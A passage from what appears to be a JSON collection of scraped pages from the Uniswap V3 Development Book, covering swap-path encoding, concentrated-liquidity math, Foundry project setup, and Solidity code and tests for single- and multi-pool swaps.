0 , POP_OFFSET); } The function simply returns the first token address + tick spacing + token address segment encoded as bytes. Proceeding to a Next Pair in a Path # Well use the next function when iterating over a path and throwing away processed pools. Notice that were removing token address + tick spacing, not full pool parameters, because we need the other token address to calculate next pool address. function skipToken ( bytes memory path) internal pure returns ( bytes memory ) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } Decoding First Pool Parameters # And, finally, we need to decode the parameters of the first pool in a path: function decodeFirstPool ( bytes memory path) internal pure returns ( address tokenIn, address tokenOut, uint24 tickSpacing ) { tokenIn = path.toAddress( 0 ); tickSpacing = path.toUint24(ADDR_SIZE); tokenOut = path.toAddress(NEXT_OFFSET); } Unfortunately, BytesLib doesnt implement toUint24 function but we can implement it ourselves! BytesLib has multiple toUintXX functions, so we can take one of them and convert to a uint24 one: library BytesLibExt { function toUint24 ( bytes memory _bytes, uint256 _start) internal pure returns ( uint24 ) { require(_bytes.length >= _start + 3 , \"toUint24_outOfBounds\" ); uint24 tempUint; assembly { tempUint := mload ( add ( add (_bytes, 0x3 ), _start)) } return tempUint ; } } Were doing this in a new library contract, which we can then use in our Path library alongside BytesLib : library Path { using BytesLib for bytes ; using BytesLibExt for bytes ; ... } Swap Path Path Library Calculating the Number of Pools in a Path Figuring Out If a Path Has Multiple Pools Extracting First Pool Parameters From a Path Proceeding to a Next Pair in a Path Decoding First Pool Parameters", - "labels": [ - "Documentation" - ] - }, - { - "title": "Introduction to Uniswap V3 #", - "html_url": "https://uniswapv3book.com/docs/introduction/uniswap-v3/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Uniswap V3 Introduction to Uniswap V3 Concentrated Liquidity The Mathematics of Uniswap V3 Pricing Ticks Introduction to Uniswap V3 # This chapter retells the whitepaper of Uniswap V3 . Again, its totally ok if you dont understand all the concepts. They will be clearer when converted to code. To better understand the innovations Uniswap V3 brings, lets first look at the imperfections of Uniswap V2. Uniswap V2 is a general exchange that implements one AMM algorithm. However, not all trading pairs are equal. Pairs can be grouped by price volatility: Tokens with medium and high price volatility. This group includes most tokens since most tokens dont have their prices pegged to something and are subject to market fluctuations. Tokens with low volatility. This group includes pegged tokens, mainly stablecoins: USDC/USDT, USDC/DAI, USDT/DAI, etc. Also: ETH/stETH, ETH/rETH (variants of wrapped ETH). These groups require different, lets call them, pool configurations. The main difference is that pegged tokens require high liquidity to reduce the demand effect (we learned about it in the previous chapter) on big trades. The prices of USDC and USDT must stay close to 1, no matter how big the number of tokens we want to buy and sell. Since Uniswap V2s general AMM algorithm is not very well suited for stablecoin trading, alternative AMMs (mainly Curve ) were more popular for stablecoin trading. What caused this problem is that liquidity in Uniswap V2 pools is distributed infinitelypool liquidity allows trades at any price, from 0 to infinity: This might not seem like a bad thing, but this makes capital inefficient. Historical prices of an asset stay within some defined range, whether its narrow or wide. For example, the historical price range of ETH is from $0.75 to $4,800 (according to CoinMarketCap ). Today (June 2022, 1 ETH costs $1,800 ), no one would buy 1 ether at $5000 , so it makes no sense to provide liquidity at this price. Thus, it doesnt really make sense providing liquidity in a price range thats far away from the current price or that will never be reached. However, we all believe in ETH reaching $10,000 one day. Concentrated Liquidity # Uniswap V3 introduces concentrated liquidity : liquidity providers can now choose the price range they want to provide liquidity into. This improves capital efficiency by allowing to put more liquidity into a narrow price range, which makes Uniswap more diverse: it can now have pools configured for pairs with different volatility. This is how V3 improves V2. In a nutshell, a Uniswap V3 pair is many small Uniswap V2 pairs. The main difference between V2 and V3 is that, in V3, there are many price ranges in one pair. And each of these shorter price ranges has finite reserves . The entire price range from 0 to infinite is split into shorter price ranges, with each of them having its own amount of liquidity. But, whats crucial is that within that shorter price ranges, it works exactly as Uniswap V2 . This is why I say that a V3 pair is many small V2 pairs. Now, lets try to visualize it. What were saying is that we dont want the curve to be infinite. We cut it at the points $a$ and $b$ and say that these are the boundaries of the curve. Moreover, we shift the curve so the boundaries lay on the axes. This is what we get: It looks lonely, doesnt it? This is why there are many price ranges in Uniswap V3so they dont feel lonely As we saw in the previous chapter, buying or selling tokens moves the price along the curve. A price range limits the movement of the price. When the price moves to either of the points, the pool becomes depleted : one of the token reserves will be 0 and buying this token wont be possible. On the chart above, lets assume that the start price is at the middle of the curve. To get to the point $a$, we need to buy all available $y$ and maximize $x$ in the range; to get to the point $b$, we need to buy all available $x$ and maximize $y$ in the range. At these points, theres only one token in the range! Fun fact: this allows to use Uniswap V3 price ranges as limit-orders! What happens when the current price range gets depleted during a trade? The price slips into the next price range. If the next price range doesnt exist, the trade ends up fulfilled partially-well see how this works later in the book. This is how liquidity is spread in the USDC/ETH pool in production : You can see that theres a lot of liquidity around the current price but the further away from it the less liquidity there isthis is because liquidity providers strive to have higher efficiency of their capital. Also, the whole range is not infinite, its upper boundary is shown on the image. The Mathematics of Uniswap V3 # Mathematically, Uniswap V3 is based on V2: it uses the same formulas, but theyre lets call it augmented . To handle transitioning between price ranges, simplify liquidity management, and avoid rounding errors, Uniswap V3 uses these new concepts: $$L = \\sqrt{xy}$$ $$\\sqrt{P} = \\sqrt{\\frac{y}{x}}$$ $L$ is the amount of liquidity . Liquidity in a pool is the combination of token reserves (that is, two numbers). We know that their product is $k$, and we can use this to derive the measure of liquidity, which is $\\sqrt{xy}$a number that, when multiplied by itself, equals to $k$. $L$ is the geometric mean of $x$ and $y$. $y/x$ is the price of token 0 in terms of 1. Since token prices in a pool are reciprocals of each other, we can use only one of them in calculations (and by convention Uniswap V3 uses $y/x$). The price of token 1 in terms of token 0 is simply $\\frac{1}{y/x}=\\frac{x}{y}$. Similarly, $\\frac{1}{\\sqrt{P}} = \\frac{1}{\\sqrt{y/x}} = \\sqrt{\\frac{x}{y}}$. Why using $\\sqrt{p}$ instead of $p$? There are two reasons: Square root calculation is not precise and causes rounding errors. Thus, its easier to store the square root without calculating it in the contracts (we will not store $x$ and $y$ in the contracts). $\\sqrt{P}$ has an interesting connection to $L$: $L$ is also the relation between the change in output amount and the change in $\\sqrt{P}$. $$L = \\frac{\\Delta y}{\\Delta\\sqrt{P}}$$ Proof: $$L = \\frac{\\Delta y}{\\Delta\\sqrt{P}}$$ $$\\sqrt{xy} = \\frac{y_1 - y_0}{\\sqrt{P_1} - \\sqrt{P_0}}$$ $$\\sqrt{xy} (\\sqrt{P_1} - \\sqrt{P_0}) = y_1 - y_0$$ $$\\sqrt{xy} (\\sqrt{\\frac{y_1}{x_1}} - \\sqrt{\\frac{y_0}{x_0}}) = y_1 - y_0$$ $$\\textrm{Since } \\sqrt{x_1y_1} = \\sqrt{x_0y_0} = \\sqrt{xy} = L,$$ $$\\sqrt{\\frac{x_1y_1y_1}{x_1}} - \\sqrt{\\frac{x_0y_0y_0}{x_0}} = y_1 - y_0$$ $$\\sqrt{y_1^2} - \\sqrt{y_0^2} = y_1 - y_0$$ $$y_1 - y_0 = y_1 - y_0$$ Pricing # Again, we dont need to calculate actual priceswe can calculate output amount right away. Also, since were not going to track and store $x$ and $y$, our calculation will be based only on $L$ and $\\sqrt{P}$. From the above formula, we can find $\\Delta y$: $$\\Delta y = \\Delta \\sqrt{P} L$$ See the third step in the proof above. As we discussed above, prices in a pool are reciprocals of each other. Thus, $\\Delta x$ is: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}} L$$ $L$ and $\\sqrt{P}$ allow us to not store and update pool reserves. Also, we dont need to calculate $\\sqrt{P}$ each time because we can always find $\\Delta \\sqrt{P}$ and its reciprocal. Ticks # As we learned in this chapter, the infinite price range of V2 is split into shorter price ranges in V3. Each of these shorter price ranges is limited by boundariesupper and lower points. To track the coordinates of these boundaries, Uniswap V3 uses ticks . In V3, the entire price range is demarcated by evenly distributed discrete ticks. Each tick has an index and corresponds to a certain price: $$p(i) = 1.0001^i$$ Where $p(i)$ is the price at tick $i$. Taking powers of 1.0001 has a desirable property: the difference between two adjacent ticks is 0.01% or 1 basis point . Basis point (1/100th of 1%, or 0.01%, or 0.0001) is a unit of measure of percentages in finance. You couldve heard about basis point when central banks announced changes in interest rates. As we discussed above, Uniswap V3 stores $\\sqrt{P}$, not $P$. Thus, the formula is in fact: $$\\sqrt{p(i)} = \\sqrt{1.0001}^i = 1.0001 ^{\\frac{i}{2}}$$ So, we get values like: $\\sqrt{p(0)} = 1$, $\\sqrt{p(1)} = \\sqrt{1.0001} \\approx 1.00005$, $\\sqrt{p(-1)} \\approx 0.99995$. Ticks are integers that can be positive and negative and, of course, theyre not infinite. Uniswap V3 stores $\\sqrt{P}$ as a fixed point Q64.96 number, which is a rational number that uses 64 bits for the integer part and 96 bits for the fractional part. Thus, prices (equal to the square of $\\sqrt{P}$) are within the range: $[2^{-128}, 2^{128}]$. And ticks are within the range: $$[log_{1.0001}2^{-128}, log_{1.0001}{2^{128}}] = [-887272, 887272]$$ For deeper dive into the math of Uniswap V3, I cannot but recommend this technical note by Atis Elsts . \\[ \\] Introduction to Uniswap V3 Concentrated Liquidity The Mathematics of Uniswap V3 Pricing Ticks", - "labels": [ - "Documentation" - ] - }, - { - "title": "Development environment #", - "html_url": "https://uniswapv3book.com/docs/introduction/dev-environment/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Development Environment Development environment Quick Introduction to Ethereum Local Development Environment Foundry Ethers.js MetaMask React Setting Up the Project Development environment # Were going to build two applications: An on-chain one: a set of smart contracts deployed on Ethereum. An off-chain one: a front-end application that will interact with the smart contracts. While the front-end application development is part of this book, it wont be our main focus. We will build it solely to demonstrate how smart contracts are integrated with front-end applications. Thus, the front-end application is optional, but Ill still provide the code. Quick Introduction to Ethereum # Ethereum is a blockchain that allows anyone to run applications on it. It might look like a cloud provider, but there are multiple differences: You dont pay for hosting your application. But you pay for deployment. Your application is immutable. That is: you wont be able to modify it after its deployed. Users will pay to use your application. To better understand these moments, lets see what Ethereum is made of. At the core of Ethereum (and any other blockchain) is a database. The most valuable data in Ethereums database is the state of accounts . An account is an Ethereum address with associated data: Balance: accounts ether balance. Code: bytecode of the smart contract deployed at this address. Storage: space used by smart contracts to store data. Nonce: a serial integer thats used to protect against replay attacks. Ethereums main job is building and maintaining this data in a secure way that doesnt allow unauthorized access. Ethereum is also a network, a network of computers that build and maintain the state independently of each other. The main goal of the network is to decentralize access to the database : there must be no single authority thats allowed to modify anything in the database unilaterally. This is achieved by a means of consensus , which is a set of rules all the nodes in the network follow. If one party decides to abuse a rule, itll be excluded from the network. Fun fact: blockchain can use MySQL! Nothing prevents this besides performance. In its turn, Ethereum uses LevelDB , a fast key-value database. Every Ethereum node also runs EVM, Ethereum Virtual Machine. A virtual machine is a program that can run other programs, and EVM is a program that executes smart contracts. Users interact with contracts through transactions: besides simply sending ether, transactions can contain smart contract call data. It includes: An encoded contract function name. Function parameters. Transactions are packed in blocks and blocks then mined by miners. Each participant of the network can validate any transaction and any block. In a sense, smart contracts are similar to JSON APIs but instead of endpoints you call smart contract functions and you provide function arguments. Similar to API backends, smart contracts execute programmed logic, which can optionally modify smart contract storage. Unlike JSON API, you need to send a transaction to mutate blockchain state, and youll need to pay for each transaction youre sending. Finally, Ethereum nodes expose a JSON-RPC API. Through this API we can interact with a node to: get account balance, estimate gas costs, get blocks and transactions, send transactions, and execute contract calls without sending transactions (this is used to read data from smart contracts). Here you can find the full list of available endpoints. Transactions are also sent through the JSON-RPC API, see eth_sendTransaction . Local Development Environment # There are multiple smart contract development environments that are used today: Truffle Hardhat Foundry Truffle is the oldest of the three and is the less popular of them. Hardhat is its improved descendant and is the most widely used tool. Foundry is the new kid on the block, which brings a different view on testing. While HardHat is still a popular solution, more and more projects are switching to Foundry. And there are multiple reasons for that: With Foundry, we can write tests in Solidity. This is much more convenient because we dont need to jump between JavaScript (Truffle and HardHat use JS for tests and automation) and Solidity during development. Writing tests in Solidity is much more convenient because you have all the native features (e.g. you dont need a special type for big numbers and you dont need to convert between strings and BigNumber ). Foundry doesnt run a node during testing. This makes testing and iterating on features much faster! Truffle and HardHat start a node whenever you run tests; Foundry executes tests on an internal EVM. That being said, well use Foundry as our main smart contract development and testing tool. Foundry # Foundry is a set of tools for Ethereum applications development. Specifically, were going to use: Forge , a testing framework for Solidity. Anvil , a local Ethereum node designed for development with Forge. Well use it to deploy our contracts to a local node and connect to it through the front-end app. Cast , a CLI tool with a ton of helpful features. Forge makes smart contracts developers life so much easier. With Forge, we dont need to run a local node to test contracts. Instead, Forge runs tests on its internal EVM, which is much faster and doesnt require sending transactions and mining blocks. Forge lets us write tests in Solidity! Forge also makes it easier to simulate blockchain state: we can easily fake our ether or token balance, execute contracts from other addresses, deploy any contracts at any address, etc. However, well still need a local node to deploy our contract to. For that, well use Anvil. Front-end applications use JavaScript Web3 libraries to interact with Ethereum nodes (to send transaction, query state, estimate transaction gas cost, etc.)this is why well need to run a local node. Ethers.js # Ethers.js is a set of Ethereum utilities written in JavaScript. This is one of the two (the other one is web3.js ) most popular JavaScript libraries used in decentralized applications development. These libraries allow us to interact with an Ethereum node via the JSON-API, and they come with multiple utility functions that make developers life easier. MetaMask # MetaMask is an Ethereum wallet in your browser. Its a browser extension that creates and securely stores Ethereum private keys. MetaMask is the main Ethereum wallet application used by millions of users. Well use it to sign transactions that well send to our local node. React # React is a well-known JavaScript library for building front-end applications. You dont need to know React, Ill provide a template application. Setting Up the Project # To set up the project, create a new folder and run forge init in it: $ mkdir uniswapv3clone $ cd uniswapv3clone $ forge init If youre using Visual Studio Code, add --vscode flag to forge init : forge init --vscode . Forge will initialize the project with VSCode specific settings. Forge will create sample contracts in src , test , and script foldersthese can be removed. To set up the front-end application: $ npx create-react-app ui Its located in a subfolder so theres no conflict between folder names. Development environment Quick Introduction to Ethereum Local Development Environment Foundry Ethers.js MetaMask React Setting Up the Project", - "labels": [ - "Documentation" - ] - }, - { - "title": "First Swap #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/first-swap/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer First Swap First Swap Calculating Swap Amounts Implementing a Swap Testing Swapping Homework First Swap # Now that we have liquidity, we can make our first swap! Calculating Swap Amounts # First step, of course, is to figure out how to calculate swap amounts. And, again, lets pick and hardcode some amount of USDC were going to trade in for ETH. Let it be 42! Were going to buy ETH for 42 USDC. After deciding how many tokens we want to sell, we need to calculate how many tokens well get in exchange. In Uniswap V2, we wouldve used current pool reserves, but in Uniswap V3 we have $L$ and $\\sqrt{P}$ and we know the fact that, when swapping within a price range, only $\\sqrt{P}$ changes and $L$ remains unchanged (Uniswap V3 acts exactly as V2 when swapping is done only within one price range). We also know that: $$L = \\frac{\\Delta y}{\\Delta \\sqrt{P}}$$ And we know $\\Delta y$! This is the 42 USDC were going to trade in! Thus, we can find how selling 42 USDC will affect the current $\\sqrt{P}$ given the $L$: $$\\Delta \\sqrt{P} = \\frac{\\Delta y}{L}$$ In Uniswap V3, we choose the price we want our trade to lead to (recall that swapping changes the current price, i.e. it moves the current price along the curve). Knowing the target price, the contract will calculate the amount of input token it needs to take from us and the respective amount of output token itll give us. Lets plug in our numbers into the above formula: $$\\Delta \\sqrt{P} = \\frac{42 \\enspace USDC}{1517882343751509868544} = 2192253463713690532467206957$$ After adding this to the current $\\sqrt{P}$, well get the target price: $$\\sqrt{P_{target}} = \\sqrt{P_{current}} + \\Delta \\sqrt{P}$$ $$\\sqrt{P_{target}} = 5604469350942327889444743441197$$ To calculate the target price in Python: amount_in = 42 * eth price_diff = (amount_in * q96) // liq price_next = sqrtp_cur + price_diff print( \"New price:\" , (price_next / q96) ** 2 ) print( \"New sqrtP:\" , price_next) print( \"New tick:\" , price_to_tick((price_next / q96) ** 2 )) # New price: 5003.913912782393 # New sqrtP: 5604469350942327889444743441197 # New tick: 85184 After finding the target price, we can calculate token amounts using the amounts calculation functions from a previous chapter: $$ x = \\frac{L(\\sqrt{p_b}-\\sqrt{p_a})}{\\sqrt{p_b}\\sqrt{p_a}}$$ $$ y = L(\\sqrt{p_b}-\\sqrt{p_a}) $$ In Python: amount_in = calc_amount1(liq, price_next, sqrtp_cur) amount_out = calc_amount0(liq, price_next, sqrtp_cur) print( \"USDC in:\" , amount_in / eth) print( \"ETH out:\" , amount_out / eth) # USDC in: 42.0 # ETH out: 0.008396714242162444 To verify the amounts, lets recall another formula: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}} L$$ Using this formula, we can find the amount of ETH were buying, $\\Delta x$, knowing the price change, $\\Delta\\frac{1}{\\sqrt{P}}$, and liquidity $L$. Be careful though: $\\Delta \\frac{1}{\\sqrt{P}}$ is not $\\frac{1}{\\Delta \\sqrt{P}}$! The former is the change of the price of ETH, and it can be found using this expression: $$\\Delta \\frac{1}{\\sqrt{P}} = \\frac{1}{\\sqrt{P_{target}}} - \\frac{1}{\\sqrt{P_{current}}}$$ Luckily, we already know all the values, so we can plug them in right away (this might not fit on your screen!): $$\\Delta \\frac{1}{\\sqrt{P}} = \\frac{1}{5604469350942327889444743441197} - \\frac{1}{5602277097478614198912276234240}$$ $$= -6.982190286589445\\text{e-}35 * 2^{96} $$ $$= -0.00000553186106731426$$ Now, lets find $\\Delta x$: $$\\Delta x = -0.00000553186106731426 * 1517882343751509868544 = -8396714242162698 $$ Which is 0.008396714242162698 ETH, and its very close to the amount we found above! Notice that this amount is negative since were removing it from the pool. Implementing a Swap # Swapping is implemented in swap function: function swap ( address recipient) public returns ( int256 amount0, int256 amount1) { ... At this moment, it only takes a recipient, who is a receiver of tokens. First, we need to find the target price and tick, as well as calculate the token amounts. Again, well simply hard code the values we calculated earlier to keep things as simple as possible: ... int24 nextTick = 85184 ; uint160 nextPrice = 5604469350942327889444743441197 ; amount0 = - 0 . 008396714242162444 ether ; amount1 = 42 ether ; ... Next, we need to update the current tick and sqrtP since trading affects the current price: ... (slot0.tick, slot0.sqrtPriceX96) = (nextTick, nextPrice); ... Next, the contract sends tokens to the recipient and lets the caller transfer the input amount into the contract: ... IERC20(token0).transfer(recipient, uint256 ( - amount0)); uint256 balance1Before = balance1(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1 ); if (balance1Before + uint256 (amount1) < balance1()) revert InsufficientInputAmount(); ... Again, were using a callback to pass the control to the caller and let it transfer the tokens. After that, were checking that pools balance is correct and includes the input amount. Finally, the contract emits a Swap event to make the swap discoverable. The event includes all the information about the swap: ... emit Swap( msg.sender, recipient, amount0, amount1, slot0.sqrtPriceX96, liquidity, slot0.tick ); And thats it! The function simply sends some amount of tokens to the specified recipient address and expects a certain number of the other token in exchange. Throughout this book, the function will get much more complicated. Testing Swapping # Now, we can test the swap function. In the same test file, create testSwapBuyEth function and set up the test case. This test case uses the same parameters as testMintSuccess : function testSwapBuyEth () public { TestCaseParams memory params = TestCaseParams({ wethBalance : 1 ether , usdcBalance : 5000 ether , currentTick : 85176 , lowerTick : 84222 , upperTick : 86129 , liquidity : 1517882343751509868544 , currentSqrtP : 5602277097478614198912276234240 , shouldTransferInCallback : true , mintLiqudity : true }); ( uint256 poolBalance0, uint256 poolBalance1) = setupTestCase(params); ... Next steps will be different, however. Were not going to test that liquidity has been correctly added to the pool since we tested this functionality in the other test cases. To make the test swap, we need 42 USDC: token1.mint( address (this), 42 ether ); Before making the swap, we need to ensure we can transfer tokens to the pool contract when it requests them: function uniswapV3SwapCallback ( int256 amount0, int256 amount1) public { if (amount0 > 0 ) { token0.transfer(msg.sender, uint256 (amount0)); } if (amount1 > 0 ) { token1.transfer(msg.sender, uint256 (amount1)); } } Since amounts during a swap can be positive (the amount thats sent to the pool) and negative (the amount thats taken from the pool), in the callback, we only want to send the positive amount, i.e. the amount were trading in. Now, we can call swap : ( int256 amount0Delta, int256 amount1Delta) = pool.swap( address (this)); The function returns token amounts used in the swap, and we can check them right away: assertEq(amount0Delta, - 0 . 008396714242162444 ether , \"invalid ETH out\" ); assertEq(amount1Delta, 42 ether , \"invalid USDC in\" ); Then, we need to ensure that tokens were actually transferred from the caller: assertEq( token0.balanceOf( address (this)), uint256 (userBalance0Before - amount0Delta), \"invalid user ETH balance\" ); assertEq( token1.balanceOf( address (this)), 0 , \"invalid user USDC balance\" ); And sent to the pool contract: assertEq( token0.balanceOf( address (pool)), uint256 ( int256 (poolBalance0) + amount0Delta), \"invalid pool ETH balance\" ); assertEq( token1.balanceOf( address (pool)), uint256 ( int256 (poolBalance1) + amount1Delta), \"invalid pool USDC balance\" ); Finally, were checking that the pool state was updated correctly: ( uint160 sqrtPriceX96, int24 tick) = pool.slot0(); assertEq( sqrtPriceX96, 5604469350942327889444743441197 , \"invalid current sqrtP\" ); assertEq(tick, 85184 , \"invalid current tick\" ); assertEq( pool.liquidity(), 1517882343751509868544 , \"invalid current liquidity\" ); Notice that swapping doesnt change the current liquidityin a later chapter, well see when it does change it. Homework # Write a test that fails with InsufficientInputAmount error. Keep in mind that theres a hidden bug \\[ \\] First Swap Calculating Swap Amounts Implementing a Swap Testing Swapping Homework", - "labels": [ - "Documentation" - ] - }, - { - "title": "Multi-pool Swaps #", - "html_url": "https://uniswapv3book.com/docs/milestone_4/multi-pool-swaps/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Multi-pool Swaps Multi-pool Swaps Updating Manager Contract Single-pool and Multi-pool Swaps Core Swapping Logic Single-pool Swapping Multi-pool Swapping Swap Callback Updating Quoter Contract Single-pool Quoting Multi-pool Quoting Multi-pool Swaps # Were now proceeding to the core of this milestoneimplementing multi-pool swaps in our contracts. We wont touch Pool contract in this milestone because its a core contract that should implement only core features. Multi-pool swaps is a utility feature, and well implement it in Manager and Quoter contracts. Updating Manager Contract # Single-pool and Multi-pool Swaps # In our current implementation, swap function in Manager contract supports only single-pool swaps and takes pool address in parameters: function swap ( address poolAddress_, bool zeroForOne, uint256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) public returns ( int256 , int256 ) { ... } Were going to split it into two functions: single-pool swap and multi-pool swap. These functions will have different set of parameters: struct SwapSingleParams { address tokenIn; address tokenOut; uint24 tickSpacing; uint256 amountIn; uint160 sqrtPriceLimitX96; } struct SwapParams { bytes path; address recipient; uint256 amountIn; uint256 minAmountOut; } SwapSingleParams takes pool parameters, input amount, and a limiting pricethis is pretty much identical to what we had before. Notice, that data is no longer required. SwapParams takes path, output amount recipient, input amount, and minimal output amount. The latter parameter replaces sqrtPriceLimitX96 because, when doing multi-pool swaps, we cannot use the slippage protection from Pool contract (which uses a limiting price). We need to implement another slippage protection, which checks the final output amount and compares it with minAmountOut : the slippage protection fails when the final output amount is smaller than minAmountOut . Core Swapping Logic # Lets implement an internal _swap function that will be called by both single- and multi-pool swap functions. Itll prepare parameters and call Pool.swap . function _swap ( uint256 amountIn, address recipient, uint160 sqrtPriceLimitX96, SwapCallbackData memory data ) internal returns ( uint256 amountOut) { ... SwapCallbackData is a new data structure that contains data we pass between swap functions and uniswapV3SwapCallback : struct SwapCallbackData { bytes path; address payer; } path is a swap path and payer is the address that provides input tokens in swapswell have different payers during multi-pool swaps. First thing we do in _swap , is extracting pool parameters using Path library: // function _swap(...) { ( address tokenIn, address tokenOut, uint24 tickSpacing) = data .path .decodeFirstPool(); Then we identify swap direction: bool zeroForOne = tokenIn < tokenOut; Then we make the actual swap: // function _swap(...) { ( int256 amount0, int256 amount1) = getPool( tokenIn, tokenOut, tickSpacing ).swap( recipient, zeroForOne, amountIn, sqrtPriceLimitX96 == 0 ? ( zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1 ) : sqrtPriceLimitX96, abi.encode(data) ); This piece is identical to what we had before but this time were calling getPool to find the pool. getPool is a function that sorts tokens and calls PoolAddress.computeAddress : function getPool ( address token0, address token1, uint24 tickSpacing ) internal view returns (IUniswapV3Pool pool) { (token0, token1) = token0 < token1 ? (token0, token1) : (token1, token0); pool = IUniswapV3Pool( PoolAddress.computeAddress(factory, token0, token1, tickSpacing) ); } After making a swap, we need to figure out which of the amounts is the output one: // function _swap(...) { amountOut = uint256 ( - (zeroForOne ? amount1 : amount0)); And thats it. Lets now look at how single-pool swap works. Single-pool Swapping # swapSingle acts simply as a wrapper of _swap : function swapSingle (SwapSingleParams calldata params) public returns ( uint256 amountOut) { amountOut = _swap( params.amountIn, msg.sender, params.sqrtPriceLimitX96, SwapCallbackData({ path : abi.encodePacked( params.tokenIn, params.tickSpacing, params.tokenOut ), payer : msg.sender }) ); } Notice that were building a one-pool path here: single-pool swap is a multi-pool swap with one pool . Multi-pool Swapping # Multi-pool swapping is only slightly more difficult than single-pool swapping. Lets look at it: function swap (SwapParams memory params) public returns ( uint256 amountOut) { address payer = msg.sender; bool hasMultiplePools; ... First swap is paid by user because its user who provides input tokens. Then, we start iterating over pools in the path: ... while ( true ) { hasMultiplePools = params.path.hasMultiplePools(); params.amountIn = _swap( params.amountIn, hasMultiplePools ? address (this) : params.recipient, 0 , SwapCallbackData({ path : params.path.getFirstPool(), payer : payer }) ); ... In each iteration, were calling _swap with these parameters: params.amountIn tracks input amounts. During the first swap its the amount provided by user. During next swaps its the amounts returned from previous swaps. hasMultiplePools ? address(this) : params.recipient if there are multiple pools in the path, recipient is the manager contract, itll store tokens between swaps. If theres only one pool (last one) in the path, recipient is the one specified in the parameters (usually the same user that initiates the swap). sqrtPriceLimitX96 is set to 0 to disable slippage protection in the Pool contract. Last parameter is what we pass to uniswapV3SwapCallback well look at it shortly. After making one swap, we need to proceed to next pool in a path or return: ... if (hasMultiplePools) { payer = address (this); params.path = params.path.skipToken(); } else { amountOut = params.amountIn; break ; } } This is where were changing payer and removing a processed pool from the path. Finally, the new slippage protection: if (amountOut < params.minAmountOut) revert TooLittleReceived(amountOut); Swap Callback # Lets look at the updated swap callback: function uniswapV3SwapCallback ( int256 amount0, int256 amount1, bytes calldata data_ ) public { SwapCallbackData memory data = abi.decode(data_, (SwapCallbackData)); ( address tokenIn, address tokenOut, ) = data.path.decodeFirstPool(); bool zeroForOne = tokenIn < tokenOut; int256 amount = zeroForOne ? amount0 : amount1; if (data.payer == address (this)) { IERC20(tokenIn).transfer(msg.sender, uint256 (amount)); } else { IERC20(tokenIn).transferFrom( data.payer, msg.sender, uint256 (amount) ); } } The callback expects encoded SwapCallbackData with path and payer address. It extracts pool tokens from the path, figures out swap direction ( zeroForOne ), and the amount the contract needs to transfer out. Then, it acts differently depending on payer address: If payer is the current contract (this is so when making consecutive swaps), it transfers tokens to the next pool (the one that called this callback) from current contracts balance. If payer is a different address (the user that initiated the swap), it transfers tokens from users balance. Updating Quoter Contract # Quoter is another contract that needs to be updated because we want to use it to also find output amounts in multi-pool swaps. Similarly to Manager, well have two variants of quote function: single-pool and multi-pool one. Lets look at the former first. Single-pool Quoting # We need to make only a couple of changes in our current quote implementation: rename it to quoteSingle ; extract parameters into a struct (this is mostly a cosmetic change); instead of a pool address, take two token addresses and a tick 